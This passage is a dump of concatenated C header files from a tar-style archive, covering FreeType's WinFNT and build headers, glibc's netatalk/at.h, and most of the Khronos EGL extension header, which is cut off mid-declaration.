@function: * FT_Get_WinFNT_Header * * @description: * Retrieve a Windows FNT font info header. * * @input: * face :: A handle to the input face. * * @output: * aheader :: The WinFNT header. * * @return: * FreeType error code. 0~means success. * * @note: * This function only works with Windows FNT faces, returning an error * otherwise. */ FT_EXPORT( FT_Error ) FT_Get_WinFNT_Header( FT_Face face, FT_WinFNT_HeaderRec *aheader ); /* */ FT_END_HEADER #endif /* FTWINFNT_H_ */ /* END */ /* Local Variables: */ /* coding: utf-8 */ /* End: */ freetype2/ft2build.h 0000644 00000004517 15246445047 0010357 0 ustar 00 /***************************************************************************/ /* */ /* ft2build.h */ /* */ /* FreeType 2 build and setup macros. */ /* */ /* Copyright 1996-2018 by */ /* David Turner, Robert Wilhelm, and Werner Lemberg. */ /* */ /* This file is part of the FreeType project, and may only be used, */ /* modified, and distributed under the terms of the FreeType project */ /* license, LICENSE.TXT. By continuing to use, modify, or distribute */ /* this file you indicate that you have read the license and */ /* understand and accept it fully. */ /* */ /***************************************************************************/ /*************************************************************************/ /* */ /* This is the `entry point' for FreeType header file inclusions. It is */ /* the only header file which should be included directly; all other */ /* FreeType header files should be accessed with macro names (after */ /* including `ft2build.h'). */ /* */ /* A typical example is */ /* */ /* #include <ft2build.h> */ /* #include FT_FREETYPE_H */ /* */ /*************************************************************************/ #ifndef FT2BUILD_H_ #define FT2BUILD_H_ #include <freetype/config/ftheader.h> #endif /* FT2BUILD_H_ */ /* END */ netatalk/at.h 0000644 00000002004 15246445047 0007133 0 ustar 00 /* Copyright (C) 1991-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _NETATALK_AT_H #define _NETATALK_AT_H 1 #include <asm/types.h> #include <bits/sockaddr.h> #include <linux/atalk.h> #include <sys/socket.h> #define SOL_ATALK 258 /* sockopt level for atalk */ #endif /* netatalk/at.h */ EGL/eglext.h 0000644 00000211330 15246445047 0006627 0 ustar 00 #ifndef __eglext_h_ #define __eglext_h_ 1 #ifdef __cplusplus extern "C" { #endif /* ** Copyright 2013-2020 The Khronos Group Inc. ** SPDX-License-Identifier: Apache-2.0 ** ** This header is generated from the Khronos EGL XML API Registry. ** The current version of the Registry, generator scripts ** used to make the header, and the header can be found at ** http://www.khronos.org/registry/egl ** ** Khronos $Git commit SHA1: dc0b58dca5 $ on $Git commit date: 2021-06-25 01:58:50 +0200 $ */ #include <EGL/eglplatform.h> #define EGL_EGLEXT_VERSION 20210629 /* Generated C header for: * API: egl * Versions considered: .* * Versions emitted: _nomatch_^ * Default extensions included: egl * Additional extensions included: _nomatch_^ * Extensions removed: _nomatch_^ */ #ifndef EGL_KHR_cl_event #define EGL_KHR_cl_event 1 #define EGL_CL_EVENT_HANDLE_KHR 0x309C #define EGL_SYNC_CL_EVENT_KHR 0x30FE #define EGL_SYNC_CL_EVENT_COMPLETE_KHR 0x30FF #endif /* EGL_KHR_cl_event */ #ifndef EGL_KHR_cl_event2 #define EGL_KHR_cl_event2 1 typedef void *EGLSyncKHR; typedef intptr_t EGLAttribKHR; typedef EGLSyncKHR (EGLAPIENTRYP PFNEGLCREATESYNC64KHRPROC) (EGLDisplay dpy, EGLenum type, const EGLAttribKHR *attrib_list); #ifdef EGL_EGLEXT_PROTOTYPES EGLAPI EGLSyncKHR EGLAPIENTRY eglCreateSync64KHR (EGLDisplay dpy, EGLenum type, const EGLAttribKHR *attrib_list); #endif #endif /* EGL_KHR_cl_event2 */ #ifndef EGL_KHR_client_get_all_proc_addresses #define EGL_KHR_client_get_all_proc_addresses 1 #endif /* EGL_KHR_client_get_all_proc_addresses */ #ifndef EGL_KHR_config_attribs #define EGL_KHR_config_attribs 1 #define EGL_CONFORMANT_KHR 0x3042 #define EGL_VG_COLORSPACE_LINEAR_BIT_KHR 0x0020 #define EGL_VG_ALPHA_FORMAT_PRE_BIT_KHR 0x0040 #endif /* EGL_KHR_config_attribs */ #ifndef EGL_KHR_context_flush_control #define EGL_KHR_context_flush_control 1 #define EGL_CONTEXT_RELEASE_BEHAVIOR_NONE_KHR 0 #define EGL_CONTEXT_RELEASE_BEHAVIOR_KHR 0x2097 #define EGL_CONTEXT_RELEASE_BEHAVIOR_FLUSH_KHR 0x2098 #endif /* EGL_KHR_context_flush_control */ #ifndef EGL_KHR_create_context #define EGL_KHR_create_context 1 #define EGL_CONTEXT_MAJOR_VERSION_KHR 0x3098 #define EGL_CONTEXT_MINOR_VERSION_KHR 0x30FB #define EGL_CONTEXT_FLAGS_KHR 0x30FC #define EGL_CONTEXT_OPENGL_PROFILE_MASK_KHR 0x30FD #define EGL_CONTEXT_OPENGL_RESET_NOTIFICATION_STRATEGY_KHR 0x31BD #define EGL_NO_RESET_NOTIFICATION_KHR 0x31BE #define EGL_LOSE_CONTEXT_ON_RESET_KHR 0x31BF #define EGL_CONTEXT_OPENGL_DEBUG_BIT_KHR 0x00000001 #define EGL_CONTEXT_OPENGL_FORWARD_COMPATIBLE_BIT_KHR 0x00000002 #define EGL_CONTEXT_OPENGL_ROBUST_ACCESS_BIT_KHR 0x00000004 #define EGL_CONTEXT_OPENGL_CORE_PROFILE_BIT_KHR 0x00000001 #define EGL_CONTEXT_OPENGL_COMPATIBILITY_PROFILE_BIT_KHR 0x00000002 #define EGL_OPENGL_ES3_BIT_KHR 0x00000040 #endif /* EGL_KHR_create_context */ #ifndef EGL_KHR_create_context_no_error #define EGL_KHR_create_context_no_error 1 #define EGL_CONTEXT_OPENGL_NO_ERROR_KHR 0x31B3 #endif /* EGL_KHR_create_context_no_error */ #ifndef EGL_KHR_debug #define EGL_KHR_debug 1 typedef void *EGLLabelKHR; typedef void *EGLObjectKHR; typedef void (EGLAPIENTRY *EGLDEBUGPROCKHR)(EGLenum error,const char *command,EGLint messageType,EGLLabelKHR threadLabel,EGLLabelKHR objectLabel,const char* message); #define EGL_OBJECT_THREAD_KHR 0x33B0 #define EGL_OBJECT_DISPLAY_KHR 0x33B1 #define EGL_OBJECT_CONTEXT_KHR 0x33B2 #define EGL_OBJECT_SURFACE_KHR 0x33B3 #define EGL_OBJECT_IMAGE_KHR 0x33B4 #define EGL_OBJECT_SYNC_KHR 0x33B5 #define EGL_OBJECT_STREAM_KHR 0x33B6 #define EGL_DEBUG_MSG_CRITICAL_KHR 0x33B9 #define EGL_DEBUG_MSG_ERROR_KHR 0x33BA #define EGL_DEBUG_MSG_WARN_KHR 0x33BB #define EGL_DEBUG_MSG_INFO_KHR 0x33BC #define EGL_DEBUG_CALLBACK_KHR 0x33B8 typedef EGLint (EGLAPIENTRYP PFNEGLDEBUGMESSAGECONTROLKHRPROC) (EGLDEBUGPROCKHR callback, const EGLAttrib *attrib_list); typedef EGLBoolean (EGLAPIENTRYP PFNEGLQUERYDEBUGKHRPROC) (EGLint attribute, EGLAttrib *value); typedef EGLint (EGLAPIENTRYP PFNEGLLABELOBJECTKHRPROC) (EGLDisplay display, EGLenum objectType, EGLObjectKHR object, EGLLabelKHR label); #ifdef EGL_EGLEXT_PROTOTYPES EGLAPI EGLint EGLAPIENTRY eglDebugMessageControlKHR (EGLDEBUGPROCKHR callback, const EGLAttrib *attrib_list); EGLAPI EGLBoolean EGLAPIENTRY eglQueryDebugKHR (EGLint attribute, EGLAttrib *value); EGLAPI EGLint EGLAPIENTRY eglLabelObjectKHR (EGLDisplay display, EGLenum objectType, EGLObjectKHR object, EGLLabelKHR label); #endif #endif /* EGL_KHR_debug */ #ifndef EGL_KHR_display_reference #define EGL_KHR_display_reference 1 #define EGL_TRACK_REFERENCES_KHR 0x3352 typedef EGLBoolean (EGLAPIENTRYP PFNEGLQUERYDISPLAYATTRIBKHRPROC) (EGLDisplay dpy, EGLint name, EGLAttrib *value); #ifdef EGL_EGLEXT_PROTOTYPES EGLAPI EGLBoolean EGLAPIENTRY eglQueryDisplayAttribKHR (EGLDisplay dpy, EGLint name, EGLAttrib *value); #endif #endif /* EGL_KHR_display_reference */ #ifndef EGL_KHR_fence_sync #define EGL_KHR_fence_sync 1 typedef khronos_utime_nanoseconds_t EGLTimeKHR; #ifdef KHRONOS_SUPPORT_INT64 #define EGL_SYNC_PRIOR_COMMANDS_COMPLETE_KHR 0x30F0 #define EGL_SYNC_CONDITION_KHR 0x30F8 #define EGL_SYNC_FENCE_KHR 0x30F9 typedef EGLSyncKHR (EGLAPIENTRYP PFNEGLCREATESYNCKHRPROC) (EGLDisplay dpy, EGLenum type, const EGLint *attrib_list); typedef EGLBoolean (EGLAPIENTRYP PFNEGLDESTROYSYNCKHRPROC) (EGLDisplay dpy, EGLSyncKHR sync); typedef EGLint (EGLAPIENTRYP PFNEGLCLIENTWAITSYNCKHRPROC) (EGLDisplay dpy, EGLSyncKHR sync, EGLint flags, EGLTimeKHR timeout); typedef EGLBoolean (EGLAPIENTRYP PFNEGLGETSYNCATTRIBKHRPROC) (EGLDisplay dpy, EGLSyncKHR sync, EGLint attribute, EGLint *value); #ifdef EGL_EGLEXT_PROTOTYPES EGLAPI EGLSyncKHR EGLAPIENTRY eglCreateSyncKHR (EGLDisplay dpy, EGLenum type, const EGLint *attrib_list); EGLAPI EGLBoolean EGLAPIENTRY eglDestroySyncKHR (EGLDisplay dpy, EGLSyncKHR sync); EGLAPI EGLint EGLAPIENTRY eglClientWaitSyncKHR (EGLDisplay dpy, EGLSyncKHR sync, EGLint flags, EGLTimeKHR timeout); EGLAPI EGLBoolean EGLAPIENTRY eglGetSyncAttribKHR (EGLDisplay dpy, EGLSyncKHR sync, EGLint attribute, EGLint *value); #endif #endif /* KHRONOS_SUPPORT_INT64 */ #endif /* EGL_KHR_fence_sync */ #ifndef EGL_KHR_get_all_proc_addresses #define EGL_KHR_get_all_proc_addresses 1 #endif /* EGL_KHR_get_all_proc_addresses */ #ifndef EGL_KHR_gl_colorspace #define EGL_KHR_gl_colorspace 1 #define EGL_GL_COLORSPACE_KHR 0x309D #define EGL_GL_COLORSPACE_SRGB_KHR 0x3089 #define EGL_GL_COLORSPACE_LINEAR_KHR 0x308A #endif /* EGL_KHR_gl_colorspace */ #ifndef EGL_KHR_gl_renderbuffer_image #define EGL_KHR_gl_renderbuffer_image 1 #define EGL_GL_RENDERBUFFER_KHR 0x30B9 #endif /* EGL_KHR_gl_renderbuffer_image */ #ifndef EGL_KHR_gl_texture_2D_image #define EGL_KHR_gl_texture_2D_image 1 #define EGL_GL_TEXTURE_2D_KHR 0x30B1 #define EGL_GL_TEXTURE_LEVEL_KHR 0x30BC #endif /* EGL_KHR_gl_texture_2D_image */ #ifndef EGL_KHR_gl_texture_3D_image #define EGL_KHR_gl_texture_3D_image 1 #define EGL_GL_TEXTURE_3D_KHR 0x30B2 #define EGL_GL_TEXTURE_ZOFFSET_KHR 0x30BD #endif /* EGL_KHR_gl_texture_3D_image */ #ifndef EGL_KHR_gl_texture_cubemap_image #define EGL_KHR_gl_texture_cubemap_image 1 #define EGL_GL_TEXTURE_CUBE_MAP_POSITIVE_X_KHR 0x30B3 #define EGL_GL_TEXTURE_CUBE_MAP_NEGATIVE_X_KHR 0x30B4 #define EGL_GL_TEXTURE_CUBE_MAP_POSITIVE_Y_KHR 0x30B5 #define EGL_GL_TEXTURE_CUBE_MAP_NEGATIVE_Y_KHR 0x30B6 #define EGL_GL_TEXTURE_CUBE_MAP_POSITIVE_Z_KHR 0x30B7 #define EGL_GL_TEXTURE_CUBE_MAP_NEGATIVE_Z_KHR 0x30B8 #endif /* EGL_KHR_gl_texture_cubemap_image */ #ifndef EGL_KHR_image #define EGL_KHR_image 1 typedef void *EGLImageKHR; #define EGL_NATIVE_PIXMAP_KHR 0x30B0 #define EGL_NO_IMAGE_KHR EGL_CAST(EGLImageKHR,0) typedef EGLImageKHR (EGLAPIENTRYP PFNEGLCREATEIMAGEKHRPROC) (EGLDisplay dpy, EGLContext ctx, EGLenum target, EGLClientBuffer buffer, const EGLint *attrib_list); typedef EGLBoolean (EGLAPIENTRYP PFNEGLDESTROYIMAGEKHRPROC) (EGLDisplay dpy, EGLImageKHR image); #ifdef EGL_EGLEXT_PROTOTYPES EGLAPI EGLImageKHR EGLAPIENTRY eglCreateImageKHR (EGLDisplay dpy, EGLContext ctx, EGLenum target, EGLClientBuffer buffer, const EGLint *attrib_list); EGLAPI EGLBoolean EGLAPIENTRY eglDestroyImageKHR (EGLDisplay dpy, EGLImageKHR image); #endif #endif /* EGL_KHR_image */ #ifndef EGL_KHR_image_base #define EGL_KHR_image_base 1 #define EGL_IMAGE_PRESERVED_KHR 0x30D2 #endif /* EGL_KHR_image_base */ #ifndef EGL_KHR_image_pixmap #define EGL_KHR_image_pixmap 1 #endif /* EGL_KHR_image_pixmap */ #ifndef EGL_KHR_lock_surface #define EGL_KHR_lock_surface 1 #define EGL_READ_SURFACE_BIT_KHR 0x0001 #define EGL_WRITE_SURFACE_BIT_KHR 0x0002 #define EGL_LOCK_SURFACE_BIT_KHR 0x0080 #define EGL_OPTIMAL_FORMAT_BIT_KHR 0x0100 #define EGL_MATCH_FORMAT_KHR 0x3043 #define EGL_FORMAT_RGB_565_EXACT_KHR 0x30C0 #define EGL_FORMAT_RGB_565_KHR 0x30C1 #define EGL_FORMAT_RGBA_8888_EXACT_KHR 0x30C2 #define EGL_FORMAT_RGBA_8888_KHR 0x30C3 #define EGL_MAP_PRESERVE_PIXELS_KHR 0x30C4 #define EGL_LOCK_USAGE_HINT_KHR 0x30C5 #define EGL_BITMAP_POINTER_KHR 0x30C6 #define EGL_BITMAP_PITCH_KHR 0x30C7 #define EGL_BITMAP_ORIGIN_KHR 0x30C8 #define EGL_BITMAP_PIXEL_RED_OFFSET_KHR 0x30C9 #define EGL_BITMAP_PIXEL_GREEN_OFFSET_KHR 0x30CA #define EGL_BITMAP_PIXEL_BLUE_OFFSET_KHR 0x30CB #define EGL_BITMAP_PIXEL_ALPHA_OFFSET_KHR 0x30CC #define EGL_BITMAP_PIXEL_LUMINANCE_OFFSET_KHR 0x30CD #define EGL_LOWER_LEFT_KHR 0x30CE #define EGL_UPPER_LEFT_KHR 0x30CF typedef EGLBoolean (EGLAPIENTRYP PFNEGLLOCKSURFACEKHRPROC) (EGLDisplay dpy, EGLSurface surface, const EGLint *attrib_list); typedef EGLBoolean (EGLAPIENTRYP PFNEGLUNLOCKSURFACEKHRPROC) (EGLDisplay dpy, EGLSurface surface); #ifdef EGL_EGLEXT_PROTOTYPES EGLAPI EGLBoolean EGLAPIENTRY eglLockSurfaceKHR (EGLDisplay dpy, EGLSurface surface, const EGLint *attrib_list); EGLAPI EGLBoolean EGLAPIENTRY eglUnlockSurfaceKHR (EGLDisplay dpy, EGLSurface surface); #endif #endif /* EGL_KHR_lock_surface */ #ifndef EGL_KHR_lock_surface2 #define EGL_KHR_lock_surface2 1 #define EGL_BITMAP_PIXEL_SIZE_KHR 0x3110 #endif /* EGL_KHR_lock_surface2 */ #ifndef EGL_KHR_lock_surface3 #define EGL_KHR_lock_surface3 1 typedef EGLBoolean (EGLAPIENTRYP PFNEGLQUERYSURFACE64KHRPROC) (EGLDisplay dpy, EGLSurface surface, EGLint attribute, EGLAttribKHR *value); #ifdef EGL_EGLEXT_PROTOTYPES EGLAPI EGLBoolean EGLAPIENTRY eglQuerySurface64KHR (EGLDisplay dpy, EGLSurface surface, EGLint attribute, EGLAttribKHR *value); #endif #endif /* EGL_KHR_lock_surface3 */ #ifndef EGL_KHR_mutable_render_buffer #define EGL_KHR_mutable_render_buffer 1 #define EGL_MUTABLE_RENDER_BUFFER_BIT_KHR 0x1000 #endif /* EGL_KHR_mutable_render_buffer */ #ifndef EGL_KHR_no_config_context #define EGL_KHR_no_config_context 1 #define EGL_NO_CONFIG_KHR EGL_CAST(EGLConfig,0) #endif /* EGL_KHR_no_config_context */ #ifndef EGL_KHR_partial_update #define EGL_KHR_partial_update 1 #define EGL_BUFFER_AGE_KHR 0x313D typedef EGLBoolean (EGLAPIENTRYP PFNEGLSETDAMAGEREGIONKHRPROC) (EGLDisplay dpy, EGLSurface surface, EGLint *rects, EGLint n_rects); #ifdef EGL_EGLEXT_PROTOTYPES EGLAPI EGLBoolean EGLAPIENTRY eglSetDamageRegionKHR (EGLDisplay dpy, EGLSurface surface, EGLint *rects, EGLint n_rects); #endif #endif /* EGL_KHR_partial_update */ #ifndef EGL_KHR_platform_android #define EGL_KHR_platform_android 1 #define EGL_PLATFORM_ANDROID_KHR 0x3141 #endif /* EGL_KHR_platform_android */ #ifndef EGL_KHR_platform_gbm #define EGL_KHR_platform_gbm 1 #define EGL_PLATFORM_GBM_KHR 0x31D7 #endif /* EGL_KHR_platform_gbm */ #ifndef EGL_KHR_platform_wayland #define EGL_KHR_platform_wayland 1 #define EGL_PLATFORM_WAYLAND_KHR 0x31D8 #endif /* EGL_KHR_platform_wayland */ #ifndef EGL_KHR_platform_x11 #define EGL_KHR_platform_x11 1 #define EGL_PLATFORM_X11_KHR 0x31D5 #define EGL_PLATFORM_X11_SCREEN_KHR 0x31D6 #endif /* EGL_KHR_platform_x11 */ #ifndef EGL_KHR_reusable_sync #define EGL_KHR_reusable_sync 1 #ifdef KHRONOS_SUPPORT_INT64 #define EGL_SYNC_STATUS_KHR 0x30F1 #define EGL_SIGNALED_KHR 0x30F2 #define EGL_UNSIGNALED_KHR 0x30F3 #define EGL_TIMEOUT_EXPIRED_KHR 0x30F5 #define EGL_CONDITION_SATISFIED_KHR 0x30F6 #define EGL_SYNC_TYPE_KHR 0x30F7 #define EGL_SYNC_REUSABLE_KHR 0x30FA #define EGL_SYNC_FLUSH_COMMANDS_BIT_KHR 0x0001 #define EGL_FOREVER_KHR 0xFFFFFFFFFFFFFFFFull #define EGL_NO_SYNC_KHR EGL_CAST(EGLSyncKHR,0) typedef EGLBoolean (EGLAPIENTRYP PFNEGLSIGNALSYNCKHRPROC) (EGLDisplay dpy, EGLSyncKHR sync, EGLenum mode); #ifdef EGL_EGLEXT_PROTOTYPES EGLAPI EGLBoolean EGLAPIENTRY eglSignalSyncKHR (EGLDisplay dpy, EGLSyncKHR sync, EGLenum mode); #endif #endif /* KHRONOS_SUPPORT_INT64 */ #endif /* EGL_KHR_reusable_sync */ #ifndef EGL_KHR_stream #define EGL_KHR_stream 1 typedef void *EGLStreamKHR; typedef khronos_uint64_t EGLuint64KHR; #ifdef KHRONOS_SUPPORT_INT64 #define EGL_NO_STREAM_KHR EGL_CAST(EGLStreamKHR,0) #define EGL_CONSUMER_LATENCY_USEC_KHR 0x3210 #define EGL_PRODUCER_FRAME_KHR 0x3212 #define EGL_CONSUMER_FRAME_KHR 0x3213 #define EGL_STREAM_STATE_KHR 0x3214 #define EGL_STREAM_STATE_CREATED_KHR 0x3215 #define EGL_STREAM_STATE_CONNECTING_KHR 0x3216 #define EGL_STREAM_STATE_EMPTY_KHR 0x3217 #define EGL_STREAM_STATE_NEW_FRAME_AVAILABLE_KHR 0x3218 #define EGL_STREAM_STATE_OLD_FRAME_AVAILABLE_KHR 0x3219 #define EGL_STREAM_STATE_DISCONNECTED_KHR 0x321A #define EGL_BAD_STREAM_KHR 0x321B #define EGL_BAD_STATE_KHR 0x321C typedef EGLStreamKHR (EGLAPIENTRYP PFNEGLCREATESTREAMKHRPROC) (EGLDisplay dpy, const EGLint *attrib_list); typedef EGLBoolean (EGLAPIENTRYP PFNEGLDESTROYSTREAMKHRPROC) (EGLDisplay dpy, EGLStreamKHR stream); typedef EGLBoolean (EGLAPIENTRYP PFNEGLSTREAMATTRIBKHRPROC) (EGLDisplay dpy, EGLStreamKHR stream, EGLenum attribute, EGLint value); typedef EGLBoolean (EGLAPIENTRYP PFNEGLQUERYSTREAMKHRPROC) (EGLDisplay dpy, EGLStreamKHR stream, EGLenum attribute, EGLint *value); typedef EGLBoolean (EGLAPIENTRYP PFNEGLQUERYSTREAMU64KHRPROC) (EGLDisplay dpy, EGLStreamKHR stream, EGLenum attribute, EGLuint64KHR *value); #ifdef EGL_EGLEXT_PROTOTYPES EGLAPI EGLStreamKHR EGLAPIENTRY eglCreateStreamKHR (EGLDisplay dpy, const EGLint *attrib_list); EGLAPI EGLBoolean EGLAPIENTRY eglDestroyStreamKHR (EGLDisplay dpy, EGLStreamKHR stream); EGLAPI EGLBoolean EGLAPIENTRY eglStreamAttribKHR (EGLDisplay dpy, EGLStreamKHR stream, EGLenum attribute, EGLint value); EGLAPI EGLBoolean EGLAPIENTRY eglQueryStreamKHR (EGLDisplay dpy, EGLStreamKHR stream, EGLenum attribute, EGLint *value); EGLAPI EGLBoolean EGLAPIENTRY eglQueryStreamu64KHR (EGLDisplay dpy, EGLStreamKHR stream, EGLenum attribute, EGLuint64KHR *value); #endif #endif /* KHRONOS_SUPPORT_INT64 */ #endif /* EGL_KHR_stream */ #ifndef EGL_KHR_stream_attrib #define EGL_KHR_stream_attrib 1 #ifdef KHRONOS_SUPPORT_INT64 typedef EGLStreamKHR (EGLAPIENTRYP PFNEGLCREATESTREAMATTRIBKHRPROC) (EGLDisplay dpy, const EGLAttrib *attrib_list); typedef EGLBoolean (EGLAPIENTRYP PFNEGLSETSTREAMATTRIBKHRPROC) (EGLDisplay dpy, EGLStreamKHR stream, EGLenum attribute, EGLAttrib value); typedef EGLBoolean (EGLAPIENTRYP PFNEGLQUERYSTREAMATTRIBKHRPROC) (EGLDisplay dpy, EGLStreamKHR stream, EGLenum attribute, EGLAttrib *value); typedef EGLBoolean (EGLAPIENTRYP PFNEGLSTREAMCONSUMERACQUIREATTRIBKHRPROC) (EGLDisplay dpy, EGLStreamKHR stream, const EGLAttrib *attrib_list); typedef EGLBoolean (EGLAPIENTRYP PFNEGLSTREAMCONSUMERRELEASEATTRIBKHRPROC) (EGLDisplay dpy, EGLStreamKHR stream, const EGLAttrib *attrib_list); #ifdef EGL_EGLEXT_PROTOTYPES EGLAPI EGLStreamKHR EGLAPIENTRY eglCreateStreamAttribKHR (EGLDisplay dpy, const EGLAttrib *attrib_list); EGLAPI EGLBoolean EGLAPIENTRY eglSetStreamAttribKHR (EGLDisplay dpy, EGLStreamKHR stream, EGLenum attribute, EGLAttrib value); EGLAPI EGLBoolean EGLAPIENTRY eglQueryStreamAttribKHR (EGLDisplay dpy, EGLStreamKHR stream, EGLenum attribute, EGLAttrib *value); EGLAPI EGLBoolean EGLAPIENTRY eglStreamConsumerAcquireAttribKHR (EGLDisplay dpy, EGLStreamKHR stream, const EGLAttrib *attrib_list); EGLAPI EGLBoolean EGLAPIENTRY eglStreamConsumerReleaseAttribKHR (EGLDisplay dpy, EGLStreamKHR stream, const EGLAttrib *attrib_list); #endif #endif /* KHRONOS_SUPPORT_INT64 */ #endif /* EGL_KHR_stream_attrib */ #ifndef EGL_KHR_stream_consumer_gltexture #define EGL_KHR_stream_consumer_gltexture 1 #ifdef EGL_KHR_stream #define EGL_CONSUMER_ACQUIRE_TIMEOUT_USEC_KHR 0x321E typedef EGLBoolean (EGLAPIENTRYP PFNEGLSTREAMCONSUMERGLTEXTUREEXTERNALKHRPROC) (EGLDisplay dpy, EGLStreamKHR stream); typedef EGLBoolean (EGLAPIENTRYP PFNEGLSTREAMCONSUMERACQUIREKHRPROC) (EGLDisplay dpy, EGLStreamKHR stream); typedef EGLBoolean (EGLAPIENTRYP PFNEGLSTREAMCONSUMERRELEASEKHRPROC) (EGLDisplay dpy, EGLStreamKHR stream); #ifdef EGL_EGLEXT_PROTOTYPES EGLAPI EGLBoolean EGLAPIENTRY eglStreamConsumerGLTextureExternalKHR (EGLDisplay dpy, EGLStreamKHR stream); EGLAPI EGLBoolean EGLAPIENTRY eglStreamConsumerAcquireKHR (EGLDisplay dpy, EGLStreamKHR stream); EGLAPI EGLBoolean EGLAPIENTRY eglStreamConsumerReleaseKHR (EGLDisplay dpy, EGLStreamKHR stream); #endif #endif /* EGL_KHR_stream */ #endif /* EGL_KHR_stream_consumer_gltexture */ #ifndef EGL_KHR_stream_cross_process_fd #define EGL_KHR_stream_cross_process_fd 1 typedef int EGLNativeFileDescriptorKHR; #ifdef EGL_KHR_stream #define EGL_NO_FILE_DESCRIPTOR_KHR EGL_CAST(EGLNativeFileDescriptorKHR,-1) typedef EGLNativeFileDescriptorKHR (EGLAPIENTRYP PFNEGLGETSTREAMFILEDESCRIPTORKHRPROC) (EGLDisplay dpy, EGLStreamKHR stream); typedef EGLStreamKHR (EGLAPIENTRYP PFNEGLCREATESTREAMFROMFILEDESCRIPTORKHRPROC) (EGLDisplay dpy, EGLNativeFileDescriptorKHR file_descriptor); #ifdef EGL_EGLEXT_PROTOTYPES EGLAPI EGLNativeFileDescriptorKHR EGLAPIENTRY eglGetStreamFileDescriptorKHR (EGLDisplay dpy, EGLStreamKHR stream); EGLAPI EGLStreamKHR EGLAPIENTRY eglCreateStreamFromFileDescriptorKHR (EGLDisplay dpy, EGLNativeFileDescriptorKHR file_descriptor); #endif #endif /* EGL_KHR_stream */ #endif /* EGL_KHR_stream_cross_process_fd */ #ifndef EGL_KHR_stream_fifo #define EGL_KHR_stream_fifo 1 #ifdef EGL_KHR_stream #define EGL_STREAM_FIFO_LENGTH_KHR 0x31FC #define EGL_STREAM_TIME_NOW_KHR 0x31FD #define EGL_STREAM_TIME_CONSUMER_KHR 0x31FE #define EGL_STREAM_TIME_PRODUCER_KHR 0x31FF typedef EGLBoolean (EGLAPIENTRYP PFNEGLQUERYSTREAMTIMEKHRPROC) (EGLDisplay dpy, EGLStreamKHR stream, EGLenum attribute, EGLTimeKHR *value); #ifdef EGL_EGLEXT_PROTOTYPES EGLAPI EGLBoolean EGLAPIENTRY eglQueryStreamTimeKHR (EGLDisplay dpy, EGLStreamKHR stream, EGLenum attribute, EGLTimeKHR *value); #endif #endif /* EGL_KHR_stream */ #endif /* EGL_KHR_stream_fifo */ #ifndef EGL_KHR_stream_producer_aldatalocator #define EGL_KHR_stream_producer_aldatalocator 1 #ifdef EGL_KHR_stream #endif /* EGL_KHR_stream */ #endif /* EGL_KHR_stream_producer_aldatalocator */ #ifndef EGL_KHR_stream_producer_eglsurface #define EGL_KHR_stream_producer_eglsurface 1 #ifdef EGL_KHR_stream #define EGL_STREAM_BIT_KHR 0x0800 typedef EGLSurface (EGLAPIENTRYP PFNEGLCREATESTREAMPRODUCERSURFACEKHRPROC) (EGLDisplay dpy, EGLConfig config, EGLStreamKHR stream, const EGLint *attrib_list); #ifdef EGL_EGLEXT_PROTOTYPES EGLAPI EGLSurface EGLAPIENTRY eglCreateStreamProducerSurfaceKHR (EGLDisplay dpy, EGLConfig config, EGLStreamKHR stream, const EGLint *attrib_list); #endif #endif /* EGL_KHR_stream */ #endif /* EGL_KHR_stream_producer_eglsurface */ #ifndef EGL_KHR_surfaceless_context #define EGL_KHR_surfaceless_context 1 #endif /* EGL_KHR_surfaceless_context */ #ifndef EGL_KHR_swap_buffers_with_damage #define EGL_KHR_swap_buffers_with_damage 1 typedef EGLBoolean (EGLAPIENTRYP PFNEGLSWAPBUFFERSWITHDAMAGEKHRPROC) (EGLDisplay dpy, EGLSurface surface, const EGLint *rects, EGLint n_rects); #ifdef EGL_EGLEXT_PROTOTYPES EGLAPI EGLBoolean EGLAPIENTRY eglSwapBuffersWithDamageKHR (EGLDisplay dpy, EGLSurface surface, const EGLint *rects, EGLint n_rects); #endif #endif /* EGL_KHR_swap_buffers_with_damage */ #ifndef EGL_KHR_vg_parent_image #define EGL_KHR_vg_parent_image 1 #define EGL_VG_PARENT_IMAGE_KHR 0x30BA #endif /* EGL_KHR_vg_parent_image */ #ifndef EGL_KHR_wait_sync #define EGL_KHR_wait_sync 1 typedef EGLint (EGLAPIENTRYP PFNEGLWAITSYNCKHRPROC) (EGLDisplay dpy, EGLSyncKHR sync, EGLint flags); #ifdef EGL_EGLEXT_PROTOTYPES EGLAPI EGLint EGLAPIENTRY eglWaitSyncKHR (EGLDisplay dpy, EGLSyncKHR sync, EGLint flags); #endif #endif /* EGL_KHR_wait_sync */ #ifndef EGL_ANDROID_GLES_layers #define EGL_ANDROID_GLES_layers 1 #endif /* EGL_ANDROID_GLES_layers */ #ifndef EGL_ANDROID_blob_cache #define EGL_ANDROID_blob_cache 1 typedef khronos_ssize_t EGLsizeiANDROID; typedef void (*EGLSetBlobFuncANDROID) (const void *key, EGLsizeiANDROID keySize, const void *value, EGLsizeiANDROID valueSize); typedef EGLsizeiANDROID (*EGLGetBlobFuncANDROID) (const void *key, EGLsizeiANDROID keySize, void *value, EGLsizeiANDROID valueSize); typedef void (EGLAPIENTRYP PFNEGLSETBLOBCACHEFUNCSANDROIDPROC) (EGLDisplay dpy, EGLSetBlobFuncANDROID set, EGLGetBlobFuncANDROID get); #ifdef EGL_EGLEXT_PROTOTYPES EGLAPI void EGLAPIENTRY eglSetBlobCacheFuncsANDROID (EGLDisplay dpy, EGLSetBlobFuncANDROID set, EGLGetBlobFuncANDROID get); #endif #endif /* EGL_ANDROID_blob_cache */ #ifndef EGL_ANDROID_create_native_client_buffer #define EGL_ANDROID_create_native_client_buffer 1 #define EGL_NATIVE_BUFFER_USAGE_ANDROID 0x3143 #define EGL_NATIVE_BUFFER_USAGE_PROTECTED_BIT_ANDROID 0x00000001 #define EGL_NATIVE_BUFFER_USAGE_RENDERBUFFER_BIT_ANDROID 0x00000002 #define EGL_NATIVE_BUFFER_USAGE_TEXTURE_BIT_ANDROID 0x00000004 typedef EGLClientBuffer (EGLAPIENTRYP 